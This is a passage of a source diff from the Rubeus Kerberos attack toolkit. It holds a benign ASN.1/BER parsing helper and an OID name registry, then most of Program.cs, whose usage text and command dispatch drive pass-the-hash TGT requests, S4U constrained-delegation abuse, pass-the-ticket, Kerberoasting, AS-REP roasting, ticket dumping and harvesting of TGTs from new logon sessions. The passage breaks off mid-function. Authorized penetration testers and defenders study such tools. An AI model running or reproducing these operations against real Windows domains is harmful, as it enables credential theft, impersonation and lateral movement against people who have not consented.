/*
* Find a BER/DER object in the provided buffer. If the data is
* not already in the right format, conversion to string then
* Base64 decoding is attempted; in the latter case, PEM headers
* are detected and skipped. In any case, the returned buffer
* must begin with a well-formed tag and length, corresponding to
* the object length.
*
* If 'strictDER' is true, then the function furthermore insists
* on the object to use a defined DER length.
*
* If the source was detected to use PEM, then the object type
* indicated by the PEM header is written in 'pemType'; otherwise,
* that variable is set to null.
*
* The returned buffer may be the source buffer itself, or a newly
* allocated buffer.
*
* On error, null is returned.
*/
public static byte[] FindBER(byte[] buf,
bool strictDER, out string pemType)
{
pemType = null;
/*
* If it is already (from the outside) a BER object,
* return it.
*/
if (LooksLikeBER(buf, strictDER)) {
return buf;
}
/*
* Convert the blob to a string. We support UTF-16 with
* and without a BOM, UTF-8 with and without a BOM, and
* ASCII-compatible encodings. Non-ASCII characters get
* truncated.
*/
if (buf.Length < 3) {
return null;
}
string str = null;
if ((buf.Length & 1) == 0) {
if (buf[0] == 0xFE && buf[1] == 0xFF) {
// Starts with big-endian UTF-16 BOM
str = ConvertBi(buf, 2, true);
} else if (buf[0] == 0xFF && buf[1] == 0xFE) {
// Starts with little-endian UTF-16 BOM
str = ConvertBi(buf, 2, false);
} else if (buf[0] == 0) {
// First byte is 0 -> big-endian UTF-16
str = ConvertBi(buf, 0, true);
} else if (buf[1] == 0) {
// Second byte is 0 -> little-endian UTF-16
str = ConvertBi(buf, 0, false);
}
}
if (str == null) {
if (buf[0] == 0xEF
&& buf[1] == 0xBB
&& buf[2] == 0xBF)
{
// Starts with UTF-8 BOM
str = ConvertMono(buf, 3);
} else {
// Assumed ASCII-compatible mono-byte encoding
str = ConvertMono(buf, 0);
}
}
if (str == null) {
return null;
}
/*
* Try to detect a PEM header and footer; if we find both
* then we remove both, keeping only the characters that
* occur in between.
*/
int p = str.IndexOf("-----BEGIN ");
int q = str.IndexOf("-----END ");
if (p >= 0 && q >= 0) {
p += 11;
int r = str.IndexOf((char)10, p) + 1;
int px = str.IndexOf('-', p);
if (px > 0 && px < r && r > 0 && r <= q) {
pemType = string.Copy(str.Substring(p, px - p));
str = str.Substring(r, q - r);
}
}
/*
* Convert from Base64.
*/
try {
buf = Convert.FromBase64String(str);
if (LooksLikeBER(buf, strictDER)) {
return buf;
}
} catch {
// ignored: not Base64
}
/*
* Decoding failed.
*/
return null;
}
/* =============================================================== */
/*
* Decode a tag; returned value is true on success, false otherwise.
* On success, 'off' is updated to point to the first byte after
* the tag.
*/
static bool DecodeTag(byte[] buf, int lim, ref int off)
{
int p = off;
if (p >= lim) {
return false;
}
int v = buf[p ++];
if ((v & 0x1F) == 0x1F) {
do {
if (p >= lim) {
return false;
}
v = buf[p ++];
} while ((v & 0x80) != 0);
}
off = p;
return true;
}
/*
* Decode a BER length. Returned value is:
* -2 no decodable length
* -1 indefinite length
* 0+ definite length
* If a definite or indefinite length could be decoded, then 'off'
* is updated to point to the first byte after the length.
*/
static int DecodeLength(byte[] buf, int lim, ref int off)
{
int p = off;
if (p >= lim) {
return -2;
}
int v = buf[p ++];
if (v < 0x80) {
off = p;
return v;
} else if (v == 0x80) {
off = p;
return -1;
}
v &= 0x7F;
if ((lim - p) < v) {
return -2;
}
int acc = 0;
while (v -- > 0) {
if (acc > 0x7FFFFF) {
return -2;
}
acc = (acc << 8) + buf[p ++];
}
off = p;
return acc;
}
/*
* Get the length, in bytes, of the object in the provided
* buffer. The object begins at offset 'off' but does not extend
* farther than offset 'lim'. If no such BER object can be
* decoded, then -1 is returned. The returned length includes
* that of the tag and length fields.
*/
static int BERLength(byte[] buf, int lim, int off)
{
int orig = off;
if (!DecodeTag(buf, lim, ref off)) {
return -1;
}
int len = DecodeLength(buf, lim, ref off);
if (len >= 0) {
if (len > (lim - off)) {
return -1;
}
return off + len - orig;
} else if (len < -1) {
return -1;
}
/*
* Indefinite length: we must do some recursive exploration.
* End of structure is marked by a "null tag": object has
* total length 2 and its tag byte is 0.
*/
for (;;) {
int slen = BERLength(buf, lim, off);
if (slen < 0) {
return -1;
}
off += slen;
if (slen == 2 && buf[off] == 0) {
return off - orig;
}
}
}
static bool LooksLikeBER(byte[] buf, bool strictDER)
{
return LooksLikeBER(buf, 0, buf.Length, strictDER);
}
static bool LooksLikeBER(byte[] buf, int off, int len, bool strictDER)
{
int lim = off + len;
int objLen = BERLength(buf, lim, off);
if (objLen != len) {
return false;
}
if (strictDER) {
DecodeTag(buf, lim, ref off);
return DecodeLength(buf, lim, ref off) >= 0;
} else {
return true;
}
}
static string ConvertMono(byte[] buf, int off)
{
int len = buf.Length - off;
char[] tc = new char[len];
for (int i = 0; i < len; i ++) {
int v = buf[off + i];
if (v < 1 || v > 126) {
v = '?';
}
tc[i] = (char)v;
}
return new string(tc);
}
static string ConvertBi(byte[] buf, int off, bool be)
{
int len = buf.Length - off;
if ((len & 1) != 0) {
return null;
}
len >>= 1;
char[] tc = new char[len];
for (int i = 0; i < len; i ++) {
int b0 = buf[off + (i << 1) + 0];
int b1 = buf[off + (i << 1) + 1];
int v = be ? ((b0 << 8) + b1) : (b0 + (b1 << 8));
if (v < 1 || v > 126) {
v = '?';
}
tc[i] = (char)v;
}
return new string(tc);
}
}
}

294
Rubeus/Asn1/AsnOID.cs Executable file
View File

@ -0,0 +1,294 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace Asn1 {
public class AsnOID {
static Dictionary<string, string> OIDToName =
new Dictionary<string, string>();
static Dictionary<string, string> NameToOID =
new Dictionary<string, string>();
static AsnOID()
{
/*
* From RFC 5280, PKIX1Explicit88 module.
*/
Reg("1.3.6.1.5.5.7", "id-pkix");
Reg("1.3.6.1.5.5.7.1", "id-pe");
Reg("1.3.6.1.5.5.7.2", "id-qt");
Reg("1.3.6.1.5.5.7.3", "id-kp");
Reg("1.3.6.1.5.5.7.48", "id-ad");
Reg("1.3.6.1.5.5.7.2.1", "id-qt-cps");
Reg("1.3.6.1.5.5.7.2.2", "id-qt-unotice");
Reg("1.3.6.1.5.5.7.48.1", "id-ad-ocsp");
Reg("1.3.6.1.5.5.7.48.2", "id-ad-caIssuers");
Reg("1.3.6.1.5.5.7.48.3", "id-ad-timeStamping");
Reg("1.3.6.1.5.5.7.48.5", "id-ad-caRepository");
Reg("2.5.4", "id-at");
Reg("2.5.4.41", "id-at-name");
Reg("2.5.4.4", "id-at-surname");
Reg("2.5.4.42", "id-at-givenName");
Reg("2.5.4.43", "id-at-initials");
Reg("2.5.4.44", "id-at-generationQualifier");
Reg("2.5.4.3", "id-at-commonName");
Reg("2.5.4.7", "id-at-localityName");
Reg("2.5.4.8", "id-at-stateOrProvinceName");
Reg("2.5.4.10", "id-at-organizationName");
Reg("2.5.4.11", "id-at-organizationalUnitName");
Reg("2.5.4.12", "id-at-title");
Reg("2.5.4.46", "id-at-dnQualifier");
Reg("2.5.4.6", "id-at-countryName");
Reg("2.5.4.5", "id-at-serialNumber");
Reg("2.5.4.65", "id-at-pseudonym");
Reg("0.9.2342.19200300.100.1.25", "id-domainComponent");
Reg("1.2.840.113549.1.9", "pkcs-9");
Reg("1.2.840.113549.1.9.1", "id-emailAddress");
/*
* From RFC 5280, PKIX1Implicit88 module.
*/
Reg("2.5.29", "id-ce");
Reg("2.5.29.35", "id-ce-authorityKeyIdentifier");
Reg("2.5.29.14", "id-ce-subjectKeyIdentifier");
Reg("2.5.29.15", "id-ce-keyUsage");
Reg("2.5.29.16", "id-ce-privateKeyUsagePeriod");
Reg("2.5.29.32", "id-ce-certificatePolicies");
Reg("2.5.29.33", "id-ce-policyMappings");
Reg("2.5.29.17", "id-ce-subjectAltName");
Reg("2.5.29.18", "id-ce-issuerAltName");
Reg("2.5.29.9", "id-ce-subjectDirectoryAttributes");
Reg("2.5.29.19", "id-ce-basicConstraints");
Reg("2.5.29.30", "id-ce-nameConstraints");
Reg("2.5.29.36", "id-ce-policyConstraints");
Reg("2.5.29.31", "id-ce-cRLDistributionPoints");
Reg("2.5.29.37", "id-ce-extKeyUsage");
Reg("2.5.29.37.0", "anyExtendedKeyUsage");
Reg("1.3.6.1.5.5.7.3.1", "id-kp-serverAuth");
Reg("1.3.6.1.5.5.7.3.2", "id-kp-clientAuth");
Reg("1.3.6.1.5.5.7.3.3", "id-kp-codeSigning");
Reg("1.3.6.1.5.5.7.3.4", "id-kp-emailProtection");
Reg("1.3.6.1.5.5.7.3.8", "id-kp-timeStamping");
Reg("1.3.6.1.5.5.7.3.9", "id-kp-OCSPSigning");
Reg("2.5.29.54", "id-ce-inhibitAnyPolicy");
Reg("2.5.29.46", "id-ce-freshestCRL");
Reg("1.3.6.1.5.5.7.1.1", "id-pe-authorityInfoAccess");
Reg("1.3.6.1.5.5.7.1.11", "id-pe-subjectInfoAccess");
Reg("2.5.29.20", "id-ce-cRLNumber");
Reg("2.5.29.28", "id-ce-issuingDistributionPoint");
Reg("2.5.29.27", "id-ce-deltaCRLIndicator");
Reg("2.5.29.21", "id-ce-cRLReasons");
Reg("2.5.29.29", "id-ce-certificateIssuer");
Reg("2.5.29.23", "id-ce-holdInstructionCode");
Reg("2.2.840.10040.2", "WRONG-holdInstruction");
Reg("2.2.840.10040.2.1", "WRONG-id-holdinstruction-none");
Reg("2.2.840.10040.2.2", "WRONG-id-holdinstruction-callissuer");
Reg("2.2.840.10040.2.3", "WRONG-id-holdinstruction-reject");
Reg("2.5.29.24", "id-ce-invalidityDate");
/*
* These are the "right" OID. RFC 5280 mistakenly defines
* the first OID element as "2".
*/
Reg("1.2.840.10040.2", "holdInstruction");
Reg("1.2.840.10040.2.1", "id-holdinstruction-none");
Reg("1.2.840.10040.2.2", "id-holdinstruction-callissuer");
Reg("1.2.840.10040.2.3", "id-holdinstruction-reject");
/*
* From PKCS#1.
*/
Reg("1.2.840.113549.1.1", "pkcs-1");
Reg("1.2.840.113549.1.1.1", "rsaEncryption");
Reg("1.2.840.113549.1.1.7", "id-RSAES-OAEP");
Reg("1.2.840.113549.1.1.9", "id-pSpecified");
Reg("1.2.840.113549.1.1.10", "id-RSASSA-PSS");
Reg("1.2.840.113549.1.1.2", "md2WithRSAEncryption");
Reg("1.2.840.113549.1.1.4", "md5WithRSAEncryption");
Reg("1.2.840.113549.1.1.5", "sha1WithRSAEncryption");
Reg("1.2.840.113549.1.1.11", "sha256WithRSAEncryption");
Reg("1.2.840.113549.1.1.12", "sha384WithRSAEncryption");
Reg("1.2.840.113549.1.1.13", "sha512WithRSAEncryption");
Reg("1.3.14.3.2.26", "id-sha1");
Reg("1.2.840.113549.2.2", "id-md2");
Reg("1.2.840.113549.2.5", "id-md5");
Reg("1.2.840.113549.1.1.8", "id-mgf1");
/*
* From NIST: http://csrc.nist.gov/groups/ST/crypto_apps_infra/csor/algorithms.html
*/
Reg("2.16.840.1.101.3", "csor");
Reg("2.16.840.1.101.3.4", "nistAlgorithms");
Reg("2.16.840.1.101.3.4.0", "csorModules");
Reg("2.16.840.1.101.3.4.0.1", "aesModule1");
Reg("2.16.840.1.101.3.4.1", "aes");
Reg("2.16.840.1.101.3.4.1.1", "id-aes128-ECB");
Reg("2.16.840.1.101.3.4.1.2", "id-aes128-CBC");
Reg("2.16.840.1.101.3.4.1.3", "id-aes128-OFB");
Reg("2.16.840.1.101.3.4.1.4", "id-aes128-CFB");
Reg("2.16.840.1.101.3.4.1.5", "id-aes128-wrap");
Reg("2.16.840.1.101.3.4.1.6", "id-aes128-GCM");
Reg("2.16.840.1.101.3.4.1.7", "id-aes128-CCM");
Reg("2.16.840.1.101.3.4.1.8", "id-aes128-wrap-pad");
Reg("2.16.840.1.101.3.4.1.21", "id-aes192-ECB");
Reg("2.16.840.1.101.3.4.1.22", "id-aes192-CBC");
Reg("2.16.840.1.101.3.4.1.23", "id-aes192-OFB");
Reg("2.16.840.1.101.3.4.1.24", "id-aes192-CFB");
Reg("2.16.840.1.101.3.4.1.25", "id-aes192-wrap");
Reg("2.16.840.1.101.3.4.1.26", "id-aes192-GCM");
Reg("2.16.840.1.101.3.4.1.27", "id-aes192-CCM");
Reg("2.16.840.1.101.3.4.1.28", "id-aes192-wrap-pad");
Reg("2.16.840.1.101.3.4.1.41", "id-aes256-ECB");
Reg("2.16.840.1.101.3.4.1.42", "id-aes256-CBC");
Reg("2.16.840.1.101.3.4.1.43", "id-aes256-OFB");
Reg("2.16.840.1.101.3.4.1.44", "id-aes256-CFB");
Reg("2.16.840.1.101.3.4.1.45", "id-aes256-wrap");
Reg("2.16.840.1.101.3.4.1.46", "id-aes256-GCM");
Reg("2.16.840.1.101.3.4.1.47", "id-aes256-CCM");
Reg("2.16.840.1.101.3.4.1.48", "id-aes256-wrap-pad");
Reg("2.16.840.1.101.3.4.2", "hashAlgs");
Reg("2.16.840.1.101.3.4.2.1", "id-sha256");
Reg("2.16.840.1.101.3.4.2.2", "id-sha384");
Reg("2.16.840.1.101.3.4.2.3", "id-sha512");
Reg("2.16.840.1.101.3.4.2.4", "id-sha224");
Reg("2.16.840.1.101.3.4.2.5", "id-sha512-224");
Reg("2.16.840.1.101.3.4.2.6", "id-sha512-256");
Reg("2.16.840.1.101.3.4.3", "sigAlgs");
Reg("2.16.840.1.101.3.4.3.1", "id-dsa-with-sha224");
Reg("2.16.840.1.101.3.4.3.2", "id-dsa-with-sha256");
Reg("1.2.840.113549", "rsadsi");
Reg("1.2.840.113549.2", "digestAlgorithm");
Reg("1.2.840.113549.2.7", "id-hmacWithSHA1");
Reg("1.2.840.113549.2.8", "id-hmacWithSHA224");
Reg("1.2.840.113549.2.9", "id-hmacWithSHA256");
Reg("1.2.840.113549.2.10", "id-hmacWithSHA384");
Reg("1.2.840.113549.2.11", "id-hmacWithSHA512");
/*
* From X9.57: http://oid-info.com/get/1.2.840.10040.4
*/
Reg("1.2.840.10040.4", "x9algorithm");
Reg("1.2.840.10040.4", "x9cm");
Reg("1.2.840.10040.4.1", "dsa");
Reg("1.2.840.10040.4.3", "dsa-with-sha1");
/*
* From SEC: http://oid-info.com/get/1.3.14.3.2
*/
Reg("1.3.14.3.2.2", "md4WithRSA");
Reg("1.3.14.3.2.3", "md5WithRSA");
Reg("1.3.14.3.2.4", "md4WithRSAEncryption");
Reg("1.3.14.3.2.12", "dsaSEC");
Reg("1.3.14.3.2.13", "dsaWithSHASEC");
Reg("1.3.14.3.2.27", "dsaWithSHA1SEC");
/*
* From Microsoft: http://oid-info.com/get/1.3.6.1.4.1.311.20.2
*/
Reg("1.3.6.1.4.1.311.20.2", "ms-certType");
Reg("1.3.6.1.4.1.311.20.2.2", "ms-smartcardLogon");
Reg("1.3.6.1.4.1.311.20.2.3", "ms-UserPrincipalName");
Reg("1.3.6.1.4.1.311.20.2.3", "ms-UPN");
}
static void Reg(string oid, string name)
{
if (!OIDToName.ContainsKey(oid)) {
OIDToName.Add(oid, name);
}
string nn = Normalize(name);
if (NameToOID.ContainsKey(nn)) {
throw new Exception("OID name collision: " + nn);
}
NameToOID.Add(nn, oid);
/*
* Many names start with 'id-??-' and we want to support
* the short names (without that prefix) as aliases. But
* we must take care of some collisions on short names.
*/
if (name.StartsWith("id-")
&& name.Length >= 7 && name[5] == '-')
{
if (name.StartsWith("id-ad-")) {
Reg(oid, name.Substring(6) + "-IA");
} else if (name.StartsWith("id-kp-")) {
Reg(oid, name.Substring(6) + "-EKU");
} else {
Reg(oid, name.Substring(6));
}
}
}
static string Normalize(string name)
{
StringBuilder sb = new StringBuilder();
foreach (char c in name) {
int d = (int)c;
if (d <= 32 || d == '-') {
continue;
}
if (d >= 'A' && d <= 'Z') {
d += 'a' - 'A';
}
sb.Append((char)c);
}
return sb.ToString();
}
public static string ToName(string oid)
{
return OIDToName.ContainsKey(oid) ? OIDToName[oid] : oid;
}
public static string ToOID(string name)
{
if (IsNumericOID(name)) {
return name;
}
string nn = Normalize(name);
if (!NameToOID.ContainsKey(nn)) {
throw new AsnException(
"unrecognized OID name: " + name);
}
return NameToOID[nn];
}
public static bool IsNumericOID(string oid)
{
/*
* An OID is in numeric format if:
* -- it contains only digits and dots
* -- it does not start or end with a dot
* -- it does not contain two consecutive dots
* -- it contains at least one dot
*/
foreach (char c in oid) {
if (!(c >= '0' && c <= '9') && c != '.') {
return false;
}
}
if (oid.StartsWith(".") || oid.EndsWith(".")) {
return false;
}
if (oid.IndexOf("..") >= 0) {
return false;
}
if (oid.IndexOf('.') < 0) {
return false;
}
return true;
}
}
}

638
Rubeus/Program.cs Executable file
View File

@ -0,0 +1,638 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Asn1;
using System.IO;
using System.Text.RegularExpressions;
namespace Rubeus
{
class Program
{
public static void Logo()
{
System.Console.WriteLine("\r\n ______ _ ");
System.Console.WriteLine(" (_____ \\ | | ");
System.Console.WriteLine(" _____) )_ _| |__ _____ _ _ ___ ");
System.Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
System.Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
System.Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
System.Console.WriteLine(" v1.0.0\r\n");
}
public static void Usage()
{
Console.WriteLine("\r\n Rubeus usage:");
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID:");
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]");
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:");
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit:");
Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):");
Console.WriteLine(" Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]");
Console.WriteLine("\r\n Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):");
Console.WriteLine(" Rubeus.exe purge [/luid:LOGINID]");
Console.WriteLine("\r\n Parse and describe a ticket (service ticket or TGT):");
Console.WriteLine(" Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>");
Console.WriteLine("\r\n Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:");
Console.WriteLine(" Rubeus.exe createnetonly /program:\"C:\\Windows\\System32\\cmd.exe\" [/show]");
Console.WriteLine("\r\n Perform Kerberoasting:");
Console.WriteLine(" Rubeus.exe kerberoast [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
Console.WriteLine("\r\n Perform Kerberoasting with alternate credentials:");
Console.WriteLine(" Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\\USER /credpassword:PASSWORD [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
Console.WriteLine("\r\n Perform AS-REP \"roasting\" for users without preauth:");
Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:");
Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]");
Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:");
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]");
Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:");
Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES]");
Console.WriteLine("\r\n\r\n NOTE: Base64 ticket blobs can be decoded with :");
Console.WriteLine("\r\n [IO.File]::WriteAllBytes(\"ticket.kirbi\", [Convert]::FromBase64String(\"aa...\"))\r\n");
}
static void Main(string[] args)
{
Logo();
var arguments = new Dictionary<string, string>();
foreach (string argument in args)
{
int idx = argument.IndexOf(':');
if (idx > 0)
{
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
}
else
{
arguments[argument] = "";
}
}
if (arguments.ContainsKey("asktgt"))
{
string user = "";
string domain = "";
string hash = "";
string dc = "";
bool ptt = false;
uint luid = 0;
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/rc4"))
{
hash = arguments["/rc4"];
encType = Interop.KERB_ETYPE.rc4_hmac;
}
if (arguments.ContainsKey("/aes256"))
{
hash = arguments["/aes256"];
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
}
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
if (arguments.ContainsKey("/createnetonly"))
{
// if we're starting a hidden process to apply the ticket to
if (!Helpers.IsHighIntegrity())
{
Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
return;
}
if (arguments.ContainsKey("/show"))
{
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true);
}
else
{
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false);
}
Console.WriteLine();
}
if (String.IsNullOrEmpty(user))
{
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
return;
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
if (String.IsNullOrEmpty(hash))
{
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
return;
}
if ( !((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)) )
{
Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n");
return;
}
else
{
Ask.TGT(user, domain, hash, encType, ptt, dc, luid);
return;
}
}
if (arguments.ContainsKey("renew"))
{
bool ptt = false;
string dc = "";
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
if (arguments.ContainsKey("/autorenew"))
{
// if we want to auto-renew the TGT up until the renewal limit
Renew.TGTAutoRenew(kirbi, dc);
}
else
{
// otherwise a single renew operation
byte[] blah = Renew.TGT(kirbi, ptt, dc);
}
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
if (arguments.ContainsKey("/autorenew"))
{
// if we want to auto-renew the TGT up until the renewal limit
Renew.TGTAutoRenew(kirbi, dc);
}
else
{
// otherwise a single renew operation
byte[] blah = Renew.TGT(kirbi, ptt, dc);
}
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
return;
}
}
if (arguments.ContainsKey("s4u"))
{
string targetUser = "";
string targetSPN = "";
string altSname = "";
string user = "";
string domain = "";
string hash = "";
bool ptt = false;
string dc = "";
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/rc4"))
{
hash = arguments["/rc4"];
encType = Interop.KERB_ETYPE.rc4_hmac;
}
if (arguments.ContainsKey("/aes256"))
{
hash = arguments["/aes256"];
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
}
if (arguments.ContainsKey("/impersonateuser"))
{
targetUser = arguments["/impersonateuser"];
}
if (arguments.ContainsKey("/msdsspn"))
{
targetSPN = arguments["/msdsspn"];
}
if (arguments.ContainsKey("/altservice"))
{
altSname = arguments["/altservice"];
}
if (String.IsNullOrEmpty(targetUser))
{
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
return;
}
if (String.IsNullOrEmpty(targetSPN))
{
Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
return;
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else if (arguments.ContainsKey("/user"))
{
// if the user is supplying a user and rc4/aes256 hash to first execute a TGT request
user = arguments["/user"];
if (String.IsNullOrEmpty(hash))
{
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
return;
}
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!");
Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
return;
}
}
if (arguments.ContainsKey("ptt"))
{
uint luid = 0;
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
LSA.ImportTicket(kirbiBytes, luid);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
LSA.ImportTicket(kirbiBytes, luid);
}
else
{
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n");
return;
}
}
if (arguments.ContainsKey("purge"))
{
uint luid = 0;
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
LSA.Purge(luid);
}
else if (arguments.ContainsKey("kerberoast"))
{
string spn = "";
string user = "";
string OU = "";
if (arguments.ContainsKey("/spn"))
{
spn = arguments["/spn"];
}
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/ou"))
{
OU = arguments["/ou"];
}
if (arguments.ContainsKey("/creduser"))
{
if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
{
Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n");
return;
}
string[] parts = arguments["/creduser"].Split('\\');
string domainName = parts[0];
string userName = parts[1];
if (!arguments.ContainsKey("/credpassword"))
{
Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
return;
}
string password = arguments["/credpassword"];
System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName);
Roast.Kerberoast(spn, user, OU, cred);
}
else
{
Roast.Kerberoast(spn, user, OU);
}
}
else if (arguments.ContainsKey("asreproast"))
{
string user = "";
string domain = "";
string dc = "";
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (String.IsNullOrEmpty(user))
{
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
return;
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
